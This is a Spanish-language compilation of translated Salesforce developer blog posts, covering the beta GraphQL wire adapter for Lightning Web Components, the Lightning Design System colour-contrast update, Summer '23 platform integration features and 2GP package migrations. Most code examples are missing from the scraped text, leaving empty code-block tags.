El adaptador de cable GraphQL permite consultar datos de Salesforce mediante consultas expresivas con funcionalidades como filtrado, clasificación, paginación y seguimiento de relaciones padre/hijo. También incluye una capa de gestión de datos y almacenamiento en caché del lado del cliente de Lightning Data Service. Estas funciones mejoran la eficiencia y la velocidad del acceso a los datos de Salesforce desde sus aplicaciones web y móviles de LWC.

El adaptador de cable GraphQL interactúa con la API de Salesforce GraphQL, que expone todos los objetos estándar y personalizados disponibles a través de la API de la interfaz de usuario, junto con los metadatos de los objetos. La API también mantiene la seguridad a nivel de objeto y de campo del usuario actual durante la ejecución de la consulta.

Para familiarizarse con el esquema de la API de GraphQL, sugerimos revisar la documentación del esquema utilizando el cliente de Altair GraphQL . Las herramientas disponibles en este cliente facilitan la redacción de su consulta GraphQL y su validación. Luego puede copiar y pegar su consulta directamente en su código JavaScript en Visual Studio Code.

Novedades en Beta:

  1. Recetas LWC: estos son componentes listos para usar que muestran varios casos de uso de GraphQL
  2. Actualización de datos: un mecanismo para actualizar los datos devueltos por su consulta de GraphQL
  3. Integridad referencial: este mecanismo garantiza la coherencia de los datos y las referencias a los recursos de Salesforce, como entidades y campos, son sólidas.

Analicemos cada una de estas características en detalle.

Recetas LWC

LWC Recipes es un repositorio de GitHub con una colección de ejemplos de código disponibles públicamente para componentes web Lightning. Incluye tres recetas GraphQL para ayudarlo a comenzar rápidamente a crear su aplicación Salesforce con GraphQL.

El repositorio proporciona instrucciones sobre cómo configurar su entorno, crear su organización de Salesforce, clonar el repositorio en su máquina local e implementar la aplicación en su organización. El código fuente se puede importar directamente a su Visual Studio Code como un proyecto que puede personalizar según sus necesidades.

Una vez que implemente la aplicación Recetas de LWC en su organización de Salesforce, es posible que vea los siguientes componentes mediante consultas de GraphQL.

Aquí hay una descripción general de los cuatro componentes de LWC que usan consultas GraphQL:

  • graphqlContacts : obtiene contactos que cumplen ciertos criterios, ordenados por nombre y limitados a los primeros cinco registros
  • graphqlVariables : captura la entrada del usuario en una barra de búsqueda en una variable y compone una consulta para devolver contactos cuyo nombre coincide parcialmente con la cadena de entrada
  • graphqlRefresh : obtiene una cantidad de empleados en una cuenta y actualiza los datos al hacer clic en el usuario
  • graphqlPagination : Habilita la paginación a través de una lista de contactos

Dado que muchos de nuestros clientes preguntan sobre la paginación, profundicemos un poco más. El adaptador de cable GraphQL es compatible con la paginación basada en cursores de GraphQL. Puede recorrer las páginas de los resultados de su consulta y controlar la cantidad de resultados que desea obtener cada vez. Para especificar el número de registros a devolver, utilice el first argumento. El número predeterminado es 10.

Si hasNextPage es verdadero, puede proporcionar el valor de endCursor al argumento after de una consulta posterior para solicitar la siguiente página de resultados.

Aquí hay una captura de pantalla de cómo podría verse el proyecto Recetas de LWC en Visual Studio Code. Puede ver un código de ejemplo para la implementación de la paginación.

Actualización de datos

En el mundo del desarrollo de aplicaciones, mostrar datos actualizados es fundamental para una buena experiencia de usuario y para generar confianza. Por lo tanto, en la versión Beta del GraphQL Wire Adapter, presentamos la función refreshGraphQL .

Esta función permite a los desarrolladores activar manualmente una repetición de la consulta. ¿El resultado? Una actualización de los datos proporcionados por el adaptador de cable GraphQL, lo que garantiza que los usuarios siempre vean los datos más actualizados.

Esta actualización se puede activar a pedido, como un clic de botón de un usuario o un evento de JavaScript específico. Esto significa que puede optimizar su aplicación para que se actualice solo cuando sea necesario, lo que proporciona una manera eficiente de mantener los datos actualizados y maximizar el rendimiento de la aplicación. En pocas palabras, la función refreshGraphQL ofrece un método amigable con el rendimiento para mantener los datos actualizados, mejorando la experiencia del usuario y aumentando la confiabilidad de la aplicación.

Aquí hay un ejemplo de uso:

Consulte el componente graphqlRefresh en las recetas de LWC para ver otro ejemplo del uso de la función de actualización de datos.

Integridad referencial

La versión Beta del adaptador de cable GraphQL presenta integridad referencial. He aquí una breve descripción de sus beneficios e implicaciones.

Lightning Data Service (LDS), la capa de administración de datos del lado del cliente de Salesforce, mejora la eficiencia de la aplicación al permitir que los componentes compartan datos, reducir las llamadas al servidor y mantener la coherencia de los datos. También garantiza referencias sólidas a los recursos de Salesforce, propagando cambios de nombre y evitando eliminaciones cuando las referencias persisten.

En la versión piloto del adaptador, requerimos el uso de directivas @category para ayudar a LDS a comprender el esquema de datos y normalizar sus datos de GraphQL.

Sin embargo, en la versión Beta, estas directivas ya no se requieren manualmente. Si se usaron anteriormente, ahora se pueden eliminar de sus consultas de GraphQL. El compilador gestiona de forma autónoma estas directivas, agilizando su proceso de código y reduciendo posibles errores manuales.

¿Qué sigue para GraphQL?

Recordatorio: Salesforce es una empresa que cotiza en bolsa y los clientes deben basar sus decisiones de compra en los productos y servicios que están disponibles actualmente.

Estamos comprometidos a continuar invirtiendo en GraphQL. Esto es lo que puede esperar en los próximos lanzamientos (se aplica la declaración prospectiva):

Invierno '24:

  • Adaptador de cable GraphQL (GA)
  • Compatibilidad con mutaciones en la API de GraphQL
  • Compatibilidad con consultas agregadas en GraphQL Adapter
  • Capacidad de consulta de tareas y eventos en GraphQL API (Beta)

Primavera 24 y más allá:

  • Compatibilidad con mutaciones en GraphQL Adapter
  • Funciones avanzadas de paginación
  • Soporte de campos opcionales

Recursos para desarrolladores

Sobre el Autor

Suvda Myagmar es directora de gestión de productos en Salesforce y le apasionan las plataformas de datos e IA. Le encantan las carreras largas mientras escucha audiolibros.

Obtenga las últimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a través de Slack o RSS.

Agregar a Slack Suscríbete a RSS

Seguir leyendo

Preparando tu aplicación para la actualización de color del Lightning Design System ☁️

Preparando tu aplicación para la actualización de color del Lightning Design System ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Preparación de su aplicación para la actualización de color de Lightning Design System | Blog de desarrolladores de Salesforce

En 2023, Salesforce planea actualizar los colores en nuestra interfaz de usuario de iluminación para que sean más accesibles para las personas con baja visión y para cumplir con las Pautas de accesibilidad de contenido web (WCAG) para el contraste de color que no es de texto y el contraste de color de texto. WCAG es un estándar de accesibilidad moderno requerido por numerosos órganos de gobierno de todo el mundo.

Para hacer esto, actualizaremos las plataformas en las que se crea nuestra interfaz de usuario Lightning: Salesforce Lightning Design System (SLDS) y Base Lightning Components (ambas versiones, Aura y Lightning Web Component). En estas plataformas, actualizaremos componentes, tokens de diseño, ganchos de estilo e íconos. Estos cambios no solo aparecerán en los productos de Salesforce, como Sales Cloud y Service Cloud, sino que también aparecerán en cualquier interfaz de usuario personalizada que haya creado con SLDS o Base Lightning Components.

Para obtener más detalles y ejemplos visuales de las actualizaciones, eche un vistazo a las publicaciones del blog de administración y noticias de Salesforce.

¿Cuál es el motivo de la actualización?

Con los colores actuales en Salesforce, los usuarios con problemas de visión tienen dificultades para reconocer los elementos clave de la interfaz de usuario, lo que no solo los frustra, sino que también les impide adoptar Salesforce. Además, Salesforce y sus clientes enfrentan problemas de cumplimiento clave debido a que un número cada vez mayor de gobiernos en todo el mundo, incluida la Unión Europea (UE) , requieren contraste de color de acuerdo con WCAG 2.1 . WCAG 2.1 ha requerido que los sitios web de las empresas usen texto que cumpla con un contraste de color de 4.5: 1 de su fondo y elementos funcionales que no sean texto que cumplan con un contraste de color de 3: 1 . Aumentar nuestro contraste de color para cumplir con estos estándares nos permitirá brindar una mejor experiencia a los usuarios con baja visión y permitirá a las empresas que usan nuestros productos evitar fuertes multas por accesibilidad.

¿Cuándo está ocurriendo la actualización?

Todos los íconos se actualizarán como parte del lanzamiento de Summer '23. Las páginas de inicio de registros seleccionados, incluidos los LWC incrustados en las páginas, se actualizarán como parte del lanzamiento de Summer '23. Todas las demás páginas, SLDS y los componentes básicos de Lightning se actualizarán como parte de la versión Winter '24.

¿Qué es lo que hay que hacer?

Si descargó íconos de Salesforce y seleccionó íconos específicos para usarlos como recursos estáticos, asegúrese de actualizarlos con los nuevos íconos . Si está utilizando nuestro paquete SLDS NPM , actualice ese paquete a la última versión para ver los cambios. Si tiene páginas personalizadas desarrolladas con SLDS, vea cuáles de los siguientes escenarios se aplican a su base de código y realice los cambios correspondientes.

1. Componente base Lightning/Aura

Utiliza un componente Lightning sin anulaciones adicionales. Su código podría verse como el Ejemplo 1 a continuación.

¿Qué es lo que hay que hacer?

  1. Nada. Las actualizaciones de color se realizan de forma gratuita a medida que Lightning Base Components implementa un plan SLDS .
  2. Se aplican excepciones a algunos componentes a continuación.

Ejemplo 1

<dx-code-block title language="html" code-block="
Save
«>

2. Componente personalizado con plano SLDS

Utiliza un componente personalizado que implementa un modelo SLDS y solo usa clases SLDS para diseñar. Su código podría verse como el Ejemplo 2 a continuación.

¿Qué es lo que hay que hacer?

  1. Nada. Las actualizaciones de color se realizan de forma gratuita si su componente implementa exactamente un modelo SLDS .

Ejemplo 2

<dx-code-block title language="html" code-block="

«>

3. Componente personalizado con plano parcial de SLDS

Similar a 2. Componente personalizado con modelo SLDS , pero en este caso, usa un componente personalizado que implementa parcialmente un modelo SLDS o usa más clases de SLDS para diseñar. Su código podría verse como el Ejemplo 3 a continuación.

¿Qué es lo que hay que hacer?

  1. Es posible que deba actualizar los colores en su CSS personalizado si ve regresiones visuales.
    1. Si existe un componente base Lightning para ese modelo y variante, recomendamos reemplazar su componente personalizado con el componente base Lightning.
      1. Si necesita personalizar el estilo de los componentes, le recomendamos que utilice los nuevos ganchos de estilo --slds para cualquier valor de color codificado. Si el valor de color codificado no tiene una coincidencia exacta en términos de ganchos de estilo, querrá considerar usar el gancho de estilo más parecido.
    2. Es posible que desee verificar si hay suficiente contraste de color para el componente antes de actualizar el valor codificado a un gancho de estilo.
  2. Los cambios de color en las clases de SLDS se realizan de forma gratuita. Debido a que los cambios se limitan al color, estas clases deberían continuar funcionando como se esperaba.

Ejemplo 3

<dx-code-block title language="html" code-block="

«><dx-code-block title language="css" code-block="/* CSS */
.my-class { color: #ccc;

En este caso, la clase de CSS personalizada .my-class anula un valor de .slds-button_neutral . Este valor no solo debe actualizarse para tener un mejor contraste, sino que toda la implementación también sería más fácil de mantener si se reemplazara con un componente base Lightning y luego se usara el enlace de estilo --slds-c-button-text-color para hacer una anulación accesible.

Nota: Si no existe un gancho de estilo para el valor codificado, recomendamos usar el gancho de estilo más cercano disponible.

<dx-code-block title language="html" code-block="
Save
«>

4. Componente personalizado con tokens o clases SLDS

Está usando un componente personalizado que usa directamente tokens SLDS dentro de CSS personalizado o usa clases SLDS en el marcado. Su código podría verse como el Ejemplo 4 a continuación.

¿Qué es lo que hay que hacer?

  1. Es posible que deba reemplazar los tokens que está utilizando en CSS personalizado con los ganchos de estilo global relevantes según sea necesario.
    1. Consulte el ejemplo 4 a continuación.

Ejemplo 4

<dx-code-block title language="html" code-block="

«>

En este ejemplo, el token t(colorBorder) está diseñado para bordes decorativos como tarjetas y divisores. Debe reemplazarse con un gancho de estilo que esté alineado con el plano del botón SLDS.

5. Componente personalizado con fichas personalizadas

Está usando un componente personalizado que usa tokens personalizados. Su código podría verse como el Ejemplo 5 a continuación.

¿Qué es lo que hay que hacer?

Recomendamos reemplazar tokens personalizados con ganchos de estilo SLDS cuando sea posible. Cuando use ganchos de estilo, asegúrese de usar ganchos que tengan el contexto semántico correcto. Por ejemplo, un gancho como --slds-g-color-border-base-1 solo debe usarse para bordes. Esto ayudará a garantizar que su producto siga siendo coherente con el estilo de Salesforce a medida que se produzcan futuras actualizaciones de color.

Si debe mantener su token personalizado por cualquier motivo, vuelva a verificar que su token personalizado no haya experimentado ninguna regresión visual.

Ejemplo 5

<dx-code-block title language="html" code-block="

«><dx-code-block title language="html" code-block="

«>

En este ejemplo, el token t(myBackgroundColor) usa un valor de color desactualizado de SLDS. El lenguaje visual Lightning actual ya no usa este color. El token personalizado debe reemplazarse con el color más parecido de la lista de ganchos de estilo. En este ejemplo, —slds-g-color-neutral-base-95: #f3f3f3 es el gancho de estilo SLDS más parecido.

6. Componente personalizado con valores codificados

Está usando un componente personalizado que usa un valor de color codificado como #444 o rgb(68,68,68) . Su código podría parecerse al Ejemplo 3 anterior.

¿Qué es lo que hay que hacer?

  1. Recomendamos reemplazar los colores codificados con ganchos de estilo si existe un color análogo. Al seleccionar tokens, asegúrese de usar tokens semánticos de manera que conserven su significado. Por ejemplo, --slds-g-color-border-base-1 solo debe usarse como el color del borde de los elementos del formulario. Si desea mantener su valor de color codificado, verifique que estos colores no hayan experimentado ninguna regresión visual.
    Nota: Los valores alternativos pueden permanecer como valores de color codificados.

7. Componente base con anulación --lwc

Está utilizando un componente Lightning o Aura base y está anulando un token --lwc para personalizar el estilo de uno o más componentes. Su código podría verse como el Ejemplo 7.

NOTA: Esta no es una forma recomendada de personalizar componentes y no hay garantía de que las personalizaciones realizadas de esta manera continúen funcionando.

¿Qué es lo que hay que hacer?

  1. Verifique si está anulando y --lwc tokens para cualquiera de estos componentes .
    1. Reemplace el token --lwc que se anula con el enlace de estilo actualizado --slds introducido.

Ejemplo 7

<dx-code-block title language="html" code-block="

«>

En este ejemplo, al anular —lwc-colorBorder a rojo, todos los bordes de los botones se vuelven rojos. El equipo de SLDS actualizó esta variante de componente para usar un enlace de estilo global, por lo que esta anulación dejará de funcionar. En este caso, simplemente use --slds-g-color-border-base-4 en el ámbito del selector para anular el color del borde.

Mejores prácticas

  • Reemplace los valores de color codificados de forma rígida con ganchos de estilo globales cuando sea posible (los valores de colores codificados de forma rígida están bien como valores alternativos).
  • Reemplace los tokens de diseño con ganchos de estilo global donde sea posible.
  • Reemplace los ganchos de estilo --lwc con ganchos de estilo globales.
  • Elija ganchos de estilo que correspondan al contexto de uso. Por ejemplo, al reemplazar el valor codificado de #747474 que se usa para un borde con un gancho de estilo, hay dos alternativas para elegir: --slds-g-color-border-base-4 o --slds-g-color-neutral-base-50 . Se recomienda usar --slds-g-color-border-base-4 para el contexto de estilo CSS de "border" en lugar de --slds-g-color-neutral-base-50 .
  • Use declaraciones var(..) y coloque valores de color codificados como respaldo en caso de que un navegador heredado no pueda leer el enlace de estilo o el token de diseño. Esto es opcional.
    • background: var(—slds-g-color-neutral-base-50, #747474);
  • Intente que sus personalizaciones de color cumplan con los estándares de contraste de color de texto y no texto de WCAG 2.1.

Más recursos

Sobre el Autor

Timothy Yeh es Gerente de Producto para Sistemas de Diseño en Salesforce, enfocado en ayudar a los clientes a construir una interfaz de usuario de mayor calidad más rápido al proporcionar sistemas sólidos de patrones.

Obtenga las últimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a través de Slack o RSS.

Agregar a Slack Suscríbete a RSS

Seguir leyendo

Actualizaciones de integración de plataforma para desarrolladores | Aprende Moar Verano '23 ☁️

Actualizaciones de integración de plataforma para desarrolladores | Aprende Moar Verano '23 ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Actualizaciones de integración de plataforma para desarrolladores | Aprende Moar Verano '23 | Blog de desarrolladores de Salesforce

¡Únase a nosotros para Release Readiness Live esta semana! Los expertos en productos y los defensores de los desarrolladores analizarán y demostrarán las nuevas funciones en el lanzamiento de Summer '23 y, al final de nuestra transmisión, responderemos sus preguntas. Sintonice a las 9 am PT el 19 de mayo para la sesión de desarrolladores. ¿No puedes unirte a nosotros en vivo? La grabación se publicará unas horas después de que finalice la transmisión.

Introducción

El verano finalmente está aquí, y para nosotros los desarrolladores, ¡eso significa un nuevo y emocionante lanzamiento! Exploremos las próximas características que trae la versión Summer '23 para los desarrolladores centrados en la integración de plataformas.

Consultas SOQL anidadas en API

A partir de la API de la plataforma de Salesforce v58.0, SOQL ahora admite consultas de relación que atraviesan hasta cinco niveles de registros primarios y secundarios . Anteriormente, solo se admitía un nivel. Esta característica está disponible para objetos estándar y personalizados, y está limitada a consultas realizadas a través de llamadas de consulta REST y SOAP.

Probémoslo probando una relación padre-hijo de cuatro niveles usando la API REST con la siguiente consulta:

La llamada API ahora devuelve los registros anidados solicitados en la siguiente jerarquía: Cuenta (Nivel 1) → Contacto (Nivel 2) → Caso (Nivel 3) → Comentarios del caso (Nivel 4).

Credenciales con nombre en Connect API

Otra característica útil introducida en esta versión es la capacidad de administrar credenciales con nombre tanto desde la API REST de Connect como desde la API de Connect . Ya no necesita interrumpir su configuración para crear credenciales a través de la interfaz de usuario; ahora, se puede hacer programáticamente,

Por ejemplo, puede recuperar la lista de todas las credenciales con nombre existentes realizando la siguiente llamada a la API:

GET /services/data/v58/named-credentials/named-credential-setup

Alternativamente, puede usar Apex con lo siguiente:

También puede crear credenciales con nombre mediante programación con la API y Apex. Este es un ejemplo de cómo hacerlo con Apex:

Consulte nuestra colección Postman para desarrolladores de Salesforce que presenta las nuevas API de Named Credentials y consulte la documentación de la clase NamedCredentials Apex para obtener más información.

Consultas API de GraphQL con funciones agregadas

Nuestra API GraphQL sigue mejorando y, con esta versión, estamos agregando soporte para registros de consulta que usan funciones agregadas con o sin agrupación .

Podrá contar la cantidad de registros que coinciden con ciertos criterios, calcular el ingreso promedio en todas las cuentas o ver la cantidad total de todas las oportunidades.

Se admiten las siguientes funciones agregadas:

  • avg : devuelve el valor promedio de un campo numérico
  • count : devuelve el número de resultados que coinciden con los criterios de consulta
  • countDistinct : devuelve el número de valores de campo distintos y no nulos que coinciden con los criterios de consulta
  • grouping : especifica si se utiliza un campo al componer el grupo; usar con el argumento de consulta groupBy y el tipo ROLLUP o CUBE
  • max – Devuelve el valor máximo de un campo
  • min – Devuelve el valor mínimo de un campo
  • sum : devuelve la suma total de un campo numérico

Echemos un vistazo a una consulta de ejemplo. La siguiente consulta calcula el ingreso anual promedio de todas las cuentas, agrupadas por industria. Tenga en cuenta que estamos usando el campo aggregate en uiapi en lugar de query , lo que nos permite aprovechar las funciones agregadas.

A continuación, una consulta de GraphQL utilizando la función de agregado promedio y la función de agrupación.

También puede realizar consultas tradicionales dentro de la misma solicitud:

Si desea probarlo, puede usar el cliente Altair GraphQL o nuestra colección Postman de desarrolladores de Salesforce .

Adaptador GraphQL de Salesforce Connect

En febrero de 2023, anunciamos la versión piloto de nuestro adaptador GraphQL de Salesforce Connect y ahora nos complace anunciar que estará disponible de forma general en esta versión de verano de 2023.

El nuevo adaptador de Salesforce Connect para GraphQL actúa como un cliente para integrar datos de fuentes externas que exponen sus capacidades a través de GraphQL. Lo hace de una manera de copia cero al hacer llamadas en vivo a los puntos finales de la API cuando una acción del usuario o del sistema requiere registros específicos. Solo los datos necesarios para esa acción en particular se consultan a través de GraphQL y Salesforce Connect no almacena ni almacena en caché los registros devueltos por el servidor. Además, este adaptador incluye extensiones especiales para AWS AppSync y brinda acceso sin inconvenientes a Amazon RDS.

Para aprovechar este nuevo adaptador, simplemente cree una nueva fuente de datos externa y seleccione el tipo GraphQL .

Apex publica devoluciones de llamada en eventos de la plataforma

Con el lanzamiento de Summer '23, ahora puede realizar un seguimiento de la publicación de eventos de la plataforma utilizando Apex Publish Callbacks . Con esta nueva versión, puede obtener el resultado final de una llamada EventBus.publish a través de una devolución de llamada de publicación de Apex que implemente. Esto le da la opción de realizar un seguimiento de los errores o los éxitos para recibir el resultado final de la publicación. En función de ese resultado, puede decidir qué acción tomar, como intentar volver a publicar eventos fallidos, por ejemplo.

Para realizar un seguimiento de un evento fallido publicado, escriba una clase de Apex e implemente la interfaz EventBus.EventPublishFailureCallback . Si la operación asincrónica falla, se invocará el método onFailure . El parámetro result contiene los valores del campo EventUuid para cada evento fallido, pero no incluye los datos del evento en sí.

Para realizar un seguimiento de las publicaciones de eventos exitosas, escriba una clase de Apex e implemente la interfaz EventBus.EventPublishSuccessCallback . Debido a que la mayoría de las llamadas de publicación suelen tener éxito, el procesamiento de publicaciones de eventos exitosas probablemente no sea una preocupación. Observe siempre los límites de rendimiento y del gobernador de Apex cuando procese este tipo de resultado.

Como práctica recomendada, siempre cree eventos usando sObjectType.newSObject , ya que esto incluye un EventUuid que puede usar para rastrear el evento. Al crear eventos con este enfoque, recomendamos no publicar el mismo evento más de una vez para evitar duplicaciones EventUuid .

Métricas mejoradas para eventos de plataforma

Con esta actualización, ahora puede obtener métricas de uso de eventos mejoradas para eventos de plataforma consultando el objeto PlatformEventUsageMetric . Esto le permite agregar datos de uso por nombre de evento y determinar qué evento consume más de sus asignaciones. Además, puede agrupar el uso por cliente para descubrir cuántos clientes se suscribieron a un evento en particular y cómo se distribuye el uso de entrega de eventos entre los clientes. Además, utilice agregaciones granulares de tiempo de períodos diarios, por hora y de 15 minutos para segmentar los datos de uso para obtener información más detallada.

Cuando consulta PlatformEventUsageMetric , puede usar estos nuevos campos: EventName , Client , EventType y UsageType .

La siguiente consulta de ejemplo devuelve el uso de eventos por hora para eventos entregados entre el 1 y el 2 de abril en horario UTC. También agrega los resultados en intervalos de una hora según lo especificado por el campo TimeSegment . Dado que los campos EventName y Client se especifican en la consulta, los resultados se agruparán por evento y cliente.

= 2023-04-01T00:00:00.000Z AND EndDate

Un resultado de muestra de la consulta anterior sería similar al siguiente, incluirá datos de uso para todos los eventos, Order_Event__e y AccountChangeEvent .

Para obtener más información sobre esta función, consulte la documentación .

Acción HTTP en flujo: GET es GA, POST es Beta

HTTP Callout ahora está generalmente disponible para solicitudes GET , lo que le permite traer datos externos a Flow Builder sin ningún código. Usted crea una acción de Llamada HTTP desde dentro de Flow, que puede llamar a cualquier API de servicio basado en la web. Después de agregar los detalles de la API, Flow Builder genera una acción de llamada reutilizable que puede usar para diferentes flujos y en todo Salesforce.

Para ponerlo en uso, desde el elemento Acciones, seleccione Crear llamada HTTP .

Junto con GA, hemos incluido algunos cambios desde la última versión que agilizan el proceso de configuración.

Ahora puede editar una acción de llamada HTTP de forma declarativa. Las API cambian regularmente, por ejemplo, cuando se agrega un nuevo campo obligatorio a un sistema externo. Anteriormente, para editar la acción de llamada HTTP reutilizable, modificó la especificación de API generada automáticamente, lo que requería conocimientos de JSON. Ahora, puede editar la acción con clics en el menú de configuración de Servicios externos.

También se simplificó la configuración de la estructura de datos de la respuesta de la API. Proporciona una respuesta de API de muestra y Flow infiere los tipos de datos y analiza el JSON para que los datos se puedan utilizar en los flujos. Anteriormente, si necesitaba cambiar los tipos de datos inferidos, editaba el propio JSON. Ahora, selecciona los tipos de datos del campo con clics. Ahora también se admiten los tipos de datos de fecha, fecha/hora y booleano.

Como bonificación adicional, obtiene mensajes de error más intuitivos al crear su acción de llamada HTTP para ayudar a resolver el error y evitar problemas en el tiempo de ejecución.

Y si no puede OBTENER suficiente con HTTP Callout, ahora puede usar el método POST (Beta) para enviar datos de Salesforce a un servidor externo en Flow Builder. Por ejemplo, una nueva cuenta en Salesforce activa un flujo que crea una factura en un sistema externo. Seleccione POST (Beta) , ingrese un cuerpo de solicitud JSON de muestra que la API espera al configurar la llamada HTTP, y Flow infiere la estructura de datos externos.

Aprende MOAR

Guau, ¡son bastantes nuevas características de integración de plataforma para probar! Confío en que facilitarán la vida de muchos desarrolladores. ¡Pero hay más por descubrir! Lo invito a explorar nuestras otras publicaciones de blog para conocer las últimas actualizaciones de LWC, Mobile, MuleSoft y Tableau.

Nuestros gerentes de producto y defensores de desarrolladores están de vuelta para compartir las últimas características y funcionalidades que llegarán en Summer '23. Para ayudarlo a desarrollarse más rápido, hay una gran cantidad de contenido nuevo del equipo de relaciones con desarrolladores que cubre sus nuevas funciones favoritas. ¡Asegúrese de consultar Release Readiness Live el viernes 19 de mayo a las 9:00 a. m. PST, y lea lo último en el blog de desarrolladores de Salesforce para conocer más innovaciones relacionadas con desarrolladores en el lanzamiento de Summer '23!

¡Explore los trailmixes de Trailhead con aspectos destacados de lanzamiento clave para desarrolladores o administradores, o ambos! Siga y complete un trailmix de Learn MOAR Summer '23 para administradores o desarrolladores para obtener una insignia exclusiva de la comunidad.

Otras lecturas

Sobre el Autor

Julián Duque es un defensor principal de desarrolladores en Salesforce, donde se enfoca en Node.js, JavaScript y desarrollo backend. Le apasiona la educación y el intercambio de conocimientos y ha estado involucrado en la organización de comunidades tecnológicas y de desarrolladores desde 2001.

Sígalo en Twitter @julian_duque , @julianduque.co en Bluesky o LinkedIn .

Obtenga las últimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a través de Slack o RSS.

Agregar a Slack Suscríbete a RSS

Seguir leyendo

Muévete a 2GP Administrado con Migraciones de Paquetes ☁️

Muévete a 2GP Administrado con Migraciones de Paquetes ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Pasar a 2GP administrado con migraciones de paquetes | Blog de desarrolladores de Salesforce

Han pasado casi cuatro años desde que lanzamos por primera vez el paquete administrado de segunda generación (2GP) , que permite a nuestros socios de AppExchange crear y distribuir soluciones utilizando un modelo de desarrollo basado en CLI, basado en fuente y fácil de automatizar.

Desde entonces, recibimos una gran cantidad de excelentes comentarios de nuestra comunidad de desarrolladores, y continuamos innovando en múltiples áreas relacionadas con la experiencia del desarrollador, el rendimiento, la paridad del tipo de metadatos con el paquete administrado de primera generación (1GP), etc. Cada vez que nos reunimos con desarrolladores de ISV, constantemente escuchamos sobre la necesidad de que Salesforce los ayude a ellos y a sus clientes a pasarse al mundo de 2GP.

¡Hoy, tengo algunas noticias emocionantes para compartir con todos ustedes! Estamos abordando la pregunta n.º 1 de nuestros desarrolladores de ISV al presentar una nueva función: Migraciones de paquetes . En pocas palabras, Package Migrations automatiza por completo el proceso de convertir paquetes 1GP a 2GP y migra sin problemas a los clientes con paquetes instalados a 2GP. Si es un socio ISV que crea paquetes administrados, ¡esta publicación de blog es para usted!

Antes de sumergirnos en los detalles de las migraciones de paquetes, echemos un vistazo a algunos beneficios de usar 2GP para el desarrollo de paquetes.

Beneficios de usar 2GP para el desarrollo de paquetes

En el corazón de 2GP se encuentra un modelo de desarrollo basado en fuente, donde un repositorio de código fuente como Git representa la fuente de la verdad para su paquete. Esto es fundamentalmente diferente del mundo de 1GP, donde utiliza una organización de empaquetado para mantener todos los metadatos que desea empaquetar y distribuir a sus clientes.

Este modelo de desarrollo impulsado por la fuente, impulsado por la CLI de Salesforce , puede aumentar drásticamente la productividad y la colaboración de su equipo. Los desarrolladores pueden usar Dev Hub para activar rápidamente organizaciones temporales , crear una función de forma conjunta y comprometerla con el control de código fuente. Cuando esté listo para distribuir una nueva versión de su 2GP, simplemente extraiga la rama correspondiente a una máquina local y use la CLI para crear su nueva versión del paquete.

Es importante destacar que este enfoque basado en CLI también significa que puede integrar fácilmente su proceso de empaque por completo en CI/CD, lo que facilita la automatización completa de su flujo de trabajo. Puede, por ejemplo, ejecutar automáticamente Salesforce Code Analyzer en una base de código y, siempre que no se encuentren problemas, crear una nueva versión del paquete.

En el mundo de 1GP, estabas atrapado usando un espacio de nombres diferente para cada uno de tus paquetes. En 2GP, todos sus paquetes pueden compartir el mismo espacio de nombres, lo que le permite aprovechar un enfoque verdaderamente modular para el desarrollo de paquetes para mantener sus paquetes bien organizados. También es posible declarar explícitamente dependencias entre paquetes , asegurando que todo funcione en conjunto sin problemas.

Con 2GP, también obtiene un control de versiones flexible, lo que le permite abandonar versiones de paquetes que ya no desea utilizar. En su lugar, puede especificar un ancestro de la versión del paquete y crear efectivamente una nueva rama en la que desee continuar con su desarrollo.

Finalmente, apoyar a los clientes nunca ha sido tan fácil con 2GP. En el mundo de 1GP, los parches solo se pueden crear desde una organización de parches. Con el modelo de desarrollo basado en el código fuente de 2GP, puede simplemente crear una versión del paquete de parches directamente desde la CLI y, siempre que el parche cumpla con los requisitos relacionados con los cambios menores y la ascendencia del paquete, se crea y está listo para instalarse en la organización de su cliente.

Dicho todo esto, 2GP puede agregar mucho valor a su proceso de desarrollo. ¡Ahora, averigüemos cómo las Migraciones de paquetes pueden ayudarlo a llegar al mundo de 2GP!

Introducción a las migraciones de paquetes

Package Migrations amplía la funcionalidad de 2GP con comandos CLI adicionales y capacidades adicionales para ayudar a los desarrolladores de ISV a realizar una transición completa al mundo de 2GP. Actualmente se encuentra en Developer Preview y está abierto para que todos los desarrolladores de ISV lo prueben en sus paquetes 1GP existentes. ¡Siga leyendo para saber cómo participar en la versión preliminar para desarrolladores!

Hay dos elementos para las migraciones de paquetes: conversión de paquetes y migración de paquetes.

La conversión de paquetes se inicia a través del nuevo comando sf package convert . Toma una versión específica de su paquete 1GP existente (Acme v1.0 en este ejemplo) y usa algo de magia detrás de escena para convertirlo en una versión de paquete 2GP correspondiente (Acme v1.0.0.1 usando la numeración de versión 2GP).

Una vez que tenga una versión de paquete 2GP convertida, puede migrar clientes a 2GP. Si tiene un suscriptor con Acme v1.0 instalado, iniciaría el proceso tratándolo como una actualización de paquete normal: a través de la CLI con sf package install (ver documentos ), instalación de URL o actualizaciones automáticas.

Mientras intenta instalar su paquete 2GP convertido v1.0.0.1, que coincide con la versión mayor.menor del paquete 1GP instalado en el suscriptor A, ejecutamos una nueva lógica que inicia el proceso de migración del paquete . Sin cambiar ningún metadato en la organización del cliente, y sin requerir la intervención del usuario si usa actualizaciones automáticas, simplemente cambiamos las referencias del paquete para que apunten al nuevo paquete 2GP.

Una vez que un cliente migre a 2GP, cualquier parche o actualización del paquete de este cliente deberá usar 2GP.

Participación en la versión preliminar para desarrolladores de migraciones de paquetes

Para probar las migraciones de paquetes, debe ser un socio ISV con acceso a la comunidad de socios de Salesforce .

En la Comunidad de socios, encontrará un canal exclusivo para esta versión preliminar para desarrolladores. Le recomendamos que se una a este canal y configure las notificaciones para enviar por correo electrónico cada publicación para recibir las últimas actualizaciones del equipo de Migraciones de paquetes.

